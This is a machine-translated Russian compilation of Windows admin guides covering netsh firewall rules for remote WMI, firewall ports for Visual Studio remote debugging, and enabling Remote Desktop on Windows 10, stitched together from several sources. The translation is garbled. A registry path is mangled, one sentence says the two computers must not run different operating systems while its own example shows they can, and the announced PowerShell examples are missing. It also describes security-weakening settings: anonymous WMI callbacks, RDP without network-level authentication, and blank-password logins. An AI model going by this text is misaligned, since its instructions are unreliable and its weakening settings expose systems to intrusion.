netsh advfirewall Firewall добавить правило DIR = OUT имя = «WMI _ out» программа =% SystemRoot% system32 svchost.exe служба = Winmgmt Action = разрешить протокол = TCP localPort = Any

Чтобы отключить исключения брандмауэра по отдельности, используйте следующие команды.

Отключение трафика WMI с помощью отдельных правил для DCOM, WMI, приемника обратного вызова и исходящих подключений

Для отключения исключения DCOM.

netsh advfirewall Firewall Delete Rule Name = «DCOM»

Для отключения исключения службы WMI.

netsh advfirewall Firewall Delete Rule Name = «WMI»

Для отключения исключения приемника.

netsh advfirewall Firewall Delete Rule Name = «Унсекапп»

, Чтобы отключить исходящее исключение.

netsh advfirewall Firewall удаление правила Name = «WMI _ out»

Параметры контроля учетных записей

Управление учетными записями пользователей (UAC) — фильтрация маркеров может влиять на то, какие операции разрешены в пространствах имен WMI или какие данные возвращаются. В разделе UAC все учетные записи в локальной группе «Администраторы» выполняются с маркером доступаобычного пользователя, также известным как фильтрация маркера доступа UAC. Учетная запись администратора может выполнять скрипт с повышенными привилегиями — «Запуск от имени администратора».

При отсутствии подключения к встроенной учетной записи администратора UAC влияет на подключения к удаленному компьютеру по-разному в зависимости от того, находятся ли два компьютера в домене или рабочей группе. Дополнительные сведения об UAC и удаленных подключениях см. в разделе Управление учетными записями пользователей и инструментарий WMI.

Параметры DCOM

Дополнительные сведения о параметрах DCOM см. в разделе Защита удаленного WMI-подключения. Однако UAC влияет на подключения для недоменных учетных записей пользователей. При подключении к удаленному компьютеру с использованием недоменной учетной записи пользователя, входящей в локальную группу администраторов удаленного компьютера, необходимо явным образом предоставить учетной записи права удаленного доступа DCOM, активации и запуска.

Параметры CIMOM

Необходимо обновить параметры CIMOM, если удаленное подключение установлено между компьютерами, не имеющими отношения доверия. в противном случае асинхронное соединение завершится ошибкой. Этот параметр не следует изменять для компьютеров в том же домене или в доверенных доменах.

Чтобы разрешить анонимный обратный вызов, необходимо изменить следующую запись реестра:

HKey _ _ Программное обеспечение локального компьютера Microsoft WBEM CIMOM аллованонимаускаллбакк

Если значение аллованонимаускаллбакк равно 0, то служба WMI предотвращает анонимный обратный вызов клиента. Если значение равно 1, служба WMI разрешает клиенту анонимные обратные вызовы.

Источник

Настройка брандмауэра Windows для удаленной отладки

В сети, защищенной брандмауэром Windows, необходимо настроить брандмауэр для разрешения удаленной отладки. Visual Studio и средства удаленной отладки пытаются открыть правильные порты брандмауэра во время установки или запуска, но также может потребоваться открыть порты или разрешить отладку приложений вручную.

В этой статье описывается настройка брандмауэра Windows для включения удаленной отладки на компьютерах с Windows 10, 8/8.1 и 7, а также на компьютерах с Windows Server 2012 R2, 2012 и 2008 R2. Компьютер с Visual Studio и удаленный компьютер не должны работать под управлением разных операционных систем. Например, на компьютере с Visual Studio может использоваться Windows 10, а на удаленном компьютере — Windows Server 2012 R2.

Инструкции по настройке брандмауэра Windows немного различаются в зависимости от операционной системы. Кроме того, они другие в прежних версиях Windows. В параметрах Windows 8/8.1, Windows 10 и Windows Server 2012 используется слово приложение, тогда как в Windows 7 и Windows Server 2008 используется слово программа.

Настройка портов для удаленной отладки

Visual Studio и удаленный отладчик пытаются открыть правильные порты во время установки или запуска. Однако в некоторых сценариях, таких использование стороннего брандмауэра, может потребоваться открыть порты вручную.

Открытие порта

В меню Windows Пуск найдите и откройте Брандмауэр Windows в режиме повышенной безопасности. В Windows 10 это Брандмауэр Защитника Windows с повышенной безопасностью.

Для нового входящего порта выберите Правила для входящего трафика, затем Новое правило. Для правила для исходящего трафика выберите Правила для исходящего трафика.

В окне мастера создания правил для входящего трафика выберите Порт, а затем нажмите кнопку Далее.

Выберите TCP или UDP в зависимости от номера порта из следующих таблиц.

В разделе Определенные локальные порты введите номер порта из следующих таблиц, а затем нажмите кнопку Далее.

Нажмите кнопку Проверить соединение, а затем Далее.

Выберите один тип сети или несколько для включения, в том числе тип сети для удаленного подключения, а затем нажмите кнопку Далее.

Присвойте правилу имя (например, msvsmon, IIS или Веб-развертывание), а затем нажмите кнопку Готово.

Новое правило должно появиться и быть выбранным в списке Правила для входящего трафика или Правила для исходящего трафика.

Чтобы открыть порт с помощью PowerShell, выполните следующие действия:

Для Брандмауэра Windows можно использовать команды PowerShell, например New-NetFirewallRule.

В следующем примере порт 4026 открывается для удаленного отладчика на удаленном компьютере. Путь, который необходимо использовать, может отличаться.

В следующем примере порт 4024 открывается для удаленного отладчика на удаленном компьютере. Путь, который необходимо использовать, может отличаться.

Порты на удаленном компьютере, обеспечивающие удаленную отладку

Для удаленной отладки на удаленном компьютере должны быть открыты следующие порты.

Порты Входящий или исходящий Протокол Описание
4026 Входящий TCP Для Visual Studio 2022. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
4025 Входящий TCP Для Visual Studio 2022. Этот порт используется только для удаленной отладки 32-разрядного процесса из 64-разрядной версии удаленного отладчика. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
3702 Исходящий UDP (Необязательно.) Требуется для обнаружения удаленного отладчика.
Порты Входящий или исходящий Протокол Описание
4024 Входящий TCP Для Visual Studio 2019. Номер порта увеличивается на 2 с каждой версией Visual Studio. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
4025 Входящий TCP Для Visual Studio 2019. Этот порт используется только для удаленной отладки 32-разрядного процесса из 64-разрядной версии удаленного отладчика. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
3702 Исходящий UDP (Необязательно.) Требуется для обнаружения удаленного отладчика.
Порты Входящий или исходящий Протокол Описание
4022 Входящий TCP Для Visual Studio 2017. Номер порта увеличивается на 2 с каждой версией Visual Studio. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
4023 Входящий TCP Для Visual Studio 2017. Номер порта увеличивается на 2 с каждой версией Visual Studio. Этот порт используется только для удаленной отладки 32-разрядного процесса из 64-разрядной версии удаленного отладчика. Более подробную информацию см. в разделе Назначение портов удаленного отладчика Visual Studio.
3702 Исходящий UDP (Необязательно.) Требуется для обнаружения удаленного отладчика.

Если выбрать параметр Использовать режим совместимости управляемого кода в разделе Сервис > Параметры > Отладка, следует открыть эти дополнительные порты удаленного отладчика. Режим совместимости управляемого кода позволяет использовать устаревшую версию отладчика Visual Studio 2010.

Порты Входящий или исходящий Протокол Описание
135, 139, 445 Исходящий TCP Обязательный.
137, 138 Исходящий UDP Обязательный.

Если, согласно политике домена, обмен данными по сети должен выполняться по протоколу IPSec, необходимо открыть дополнительные порты как на компьютере с Visual Studio, так и на удаленном компьютере. Для отладки на удаленном веб-сервере IIS откройте порт 80 на удаленном компьютере.

Порты Входящий или исходящий Протокол Описание
500, 4500 Исходящий UDP Требуется, если в соответствии с политикой домена обмен данными по сети должен осуществляться по протоколу IPSec.
80 Исходящий TCP Требуется для отладки веб-сервера.

Сведения о разрешении взаимодействия с конкретными приложениями через брандмауэр Windows см. в разделе Настройка удаленной отладки через брандмауэр Windows.

Настройка удаленной отладки через брандмауэр Windows

Можно установить средства удаленной отладки на удаленном компьютере или запустить их из общей папки. В любом случае необходимо правильно настроить брандмауэр удаленного компьютера.

На удаленном компьютере средства удаленной отладки находятся в следующей папке:

Разрешение и настройка удаленного отладчика через брандмауэр Windows

В меню Windows Пуск найдите и откройте Брандмауэр Windows или Брандмауэр Защитника Windows.

Щелкните Разрешить взаимодействие с приложением через брандмауэр Windows.

Если удаленный отладчик или удаленный отладчик Visual Studio не отображаются в разделе Разрешенные приложения и компоненты, выберите Изменить параметры, а затем выберите Разрешить другое приложение.

В списке Приложения выберите только что добавленный удаленный отладчик. Выберите Типы сетей, затем выберите один тип сети или несколько для включения, в том числе тип сети для удаленного подключения.

Выберите Добавить, а затем нажмите кнопку ОК.

Устранение неполадок подключения удаленной отладки

Если вы не можете присоединиться к приложению с помощью удаленного отладчика, проверьте правильность всех портов брандмауэра, протоколов, типов сетей и параметров приложения для удаленной отладки.

В меню Windows Пуск найдите и откройте Брандмауэр Windows, а затем выберите Разрешить взаимодействие с приложением через брандмауэр Windows. Убедитесь, что в списке Разрешенные приложения и компоненты отображается выбранный удаленный отладчик или удаленный отладчик Visual Studio и выбраны правильные типы сетей. В противном случае добавьте необходимые приложения и параметры.

В меню Windows Пуск найдите и откройте Брандмауэр Windows в режиме повышенной безопасности. Убедитесь, что в разделе Правила для входящего трафика (и при необходимости в разделе Правила для исходящего трафика) отображается удаленный отладчик или удаленный отладчик Visual Studio с зеленым флажком, а все параметры заданы правильно.

Источник

Штатное средство «Подключение к удаленному рабочему столу» в ОС Windows 10

Встроенное средство Подключение к удаленному рабочему столу позволяет сетевому пользователю подключаться к локальному компьютеру. При этом состояние экрана локального компьютера будет передаваться по сети на удаленный компьютер и отображаться на мониторе. Кроме того, удаленный пользователь сможет пользоваться мышью и клавиатурой своего компьютера так, будто они принадлежат локальному компьютеру.

Удаленный рабочий стол работает по протоколу RDP (англ. Remote Desktop Protocol, протокол удалённого рабочего стола). По умолчанию используется порт TCP 3389. Можно удаленно управлять ПК с ПК, сервером с сервера, ПК с сервера или сервером с ПК. Серверный компонент RDP уже встроен в операционную систему Windows, но необходимо включить remote desktop на целевом компьютере.

При установлении соединения в Windows XP, Vista, 7, 8.1, 10, Remote Desktop производит вывод из сеанса текущего пользователя. Это значит, что он не сможет наблюдать за действиями пользователя, установившего соединение. При передаче звука, если пропускной способности канала связи недостаточно, Remote Desktop изменяет его качество, снижая нагрузку на сеть. Помимо передачи изображения удаленного рабочего стола и звука, при использовании протокола RDP возможно подключение в качестве сетевых ресурсов дисков и принтеров локального компьютера, и его портов, совместное использование буфера обмена. Для снижения объема передаваемых по сети данных можно изменять разрешение и количество цветов дисплея.

Редакции операционных систем

Не все редакции операционных систем Microsoft Windows могут служить узловыми компьютерами для удаленного рабочего стола.

Учетные записи пользователей

В целях безопасности подключаться к рабочему столу удаленного компьютера по умолчанию Windows разрешено следующим учетным записям:

По умолчанию пользователи должны иметь учетные записи, защищенные паролями, чтобы им было разрешено пользоваться удаленным рабочим столом. Данное правило регулируется групповой политикой

Этапы подготовки компьютера с операционной системой Microsoft Windows 10 в качестве узловой системы для удаленного рабочего стола

Чтобы подготовить компьютер для выполнения обязанностей узлового компьютера удаленного рабочего стола, необходимо:

Отключение режима автоматического засыпания

По умолчанию большинство рабочих станций Windows 10 сконфигурированы так, чтобы переходить в спящий режим после 30 минут отсутствия активности (сбалансированная схема управления питанием (по умолчанию)). Удаленные клиенты не смогут подключиться к узловому компьютеру, если он находится в спящем режиме.

Данный параметр также можно настроить на этапе включения службы удаленного рабочего стола.

Рис.1 Параметры системы

Рис.2 выбор раздела Питание и спящий режим

Рис.3 Настройка параметров раздела Сон

Настройка брандмауэра операционной системы Microsoft Windows 10 для удаленного рабочего стола

По умолчанию брандмауэр Windows не пропускает подключения к удаленному рабочему столу. Для разрешения удаленных подключений необходимо настроить брандмауэр для удаленного рабочего стола.

1. Открыть Брандмауэр Защитника Windows

Для того, чтобы открыть окно брандмауэра можно воспользоваться одним из следующих вариантов:

2. Выбрать ссылку Разрешение взаимодействия с приложением или компонентом в брандмауэре Защитника Windows

Рис.4 Настройка брандмауэра

3. В открывшемся окне Разрешенные программы нажать кнопку Изменить параметры.

Рис.5 Настройка разрешенных программ для брандмауэра

4. Установить флажок в чекбоксе элемента Удаленное управление Windows

Рис.6 выбор компонента Удаленное управление Windows

При подключении с более ранними версиями необходимо установить флажок в чекбоксе элемента Удаленное управление Windows (режим совместимости)

Активация удаленного рабочего стола

Рис.7 выбор раздела Удаленный рабочий стол

Рис.8 включение удаленного рабочего стола

Рис.9 окно Параметры удаленного рабочего стола

Настройка параметров сетевого обнаружения

Открыть Параметры > Сеть и интернет > Параметры общего доступа

Открыть Панель управления > Центр управления сетями и общим доступом > Изменить дополнительные параметры общего доступа.

Рис.10 Настройка параметров общего доступа

Разрешение доступа к удаленному рабочему столу для определенных пользователей

Если необходимо указать конкретных пользователей, которые не входят в группу Администраторы, но которым будет разрешено удаленно подключаться к компьютеру, их необходимо включить в группу Пользователи удаленного рабочего стола.

Способы добавления пользователей в группу Пользователи удаленного рабочего стола.

1 способ

Рис.11 Включение пользователей в группу Пользователи удаленного рабочего стола

Рис.12 Включение пользователей в группу Пользователи удаленного рабочего стола

Рис.13 Включение пользователей в группу Пользователи удаленного рабочего стола

Рис.14 Включение пользователей в группу Пользователи удаленного рабочего стола

2 способ

Рис.15 Включение пользователей в группу Пользователи удаленного рабочего стола

Подключение к удаленному компьютеру через графический интерфейс

Рис.16 Выбор утилиты Подключение к удаленному рабочему столу

Рис.17 Подключение к удаленному рабочему столу

Рис.18 Подключение к удаленному рабочему столу

Рис.19 Подключение к удаленному рабочему столу

При успешном подключении на экране локального компьютера будет выведен рабочий стол удаленного компьютера, и можно будет работать с ресурсами этого компьютера.

Рис.20 Удаленный рабочий стол

Решение проблемы при удаленном подключении с Windows XP к компьютерам под управлением Windows 7/8/8.1/10, а также к серверным операционным системам

При установке удаленного подключения с операционной системы Windows XP к рабочему столу Windows 7/8.1/10 может возникнуть следующая ошибка: Удаленный компьютер требует проверки подлинности на уровне сети, которую данный компьютер не поддерживает. Обратитесь за помощью к системному администратору или в службу технической поддержки.

Рис.21 Окно Удаленный рабочий стол отключен

Чтобы решить данную проблему, можно воспользоваться одним из предложенных вариантов.

1 вариант – редактирование реестра в OC Windows XP

Рис.22 Редактирование реестра в OC Windows XP

Рис.23 Редактирование реестра в OC Windows XP

Рис.24 Редактирование реестра в OC Windows XP

2 вариант – разрешение подключения без проверки подлинности на уровне сети в ОС Windows 10

Рис.25 Настройка разрешений для удаленного доступа

Решение проблемы при подключении к удаленному компьютеру, используя учетные данные пользователя с пустым паролем в операционной системе Windows 10

Конечно использовать данный способ крайне нерационально в плане безопасности, но он имеет право на существование.

Параметр политики Учетные записи: разрешить использование пустых паролей только при консольном входе определяет, разрешены ли для локальных учетных записей с пустым паролем удаленные интерактивные входы в систему, выполняемые сетевыми службами, такими как службы удаленных рабочих столов, протокол FTP.

При включении данного параметра, локальная учетная запись должна иметь пароль, чтобы можно было осуществлять интерактивный или сетевой вход с удаленного клиента.

На интерактивные входы, которые выполняются физически на консоли, данный параметр не влияет. Также данный параметр не влияет на удаленный интерактивный вход в систему с использованием сторонних средств удаленного администрирования.

Рис.26 Редактор локальной групповой политики

Изменения этой политики вступает в силу без перезагрузки компьютера.

Источник

Понравилась статья? Поделить с друзьями:
  • Интеграция драйверов в дистрибутив windows server 2008
  • Интеграция драйверов в дистрибутив windows 7 программа
  • Интеграция драйверов в дистрибутив windows 7 ultraiso
  • Интеграция драйверов в дистрибутив windows 7 nlite
  • Интеграция драйверов в дистрибутив windows 10 dism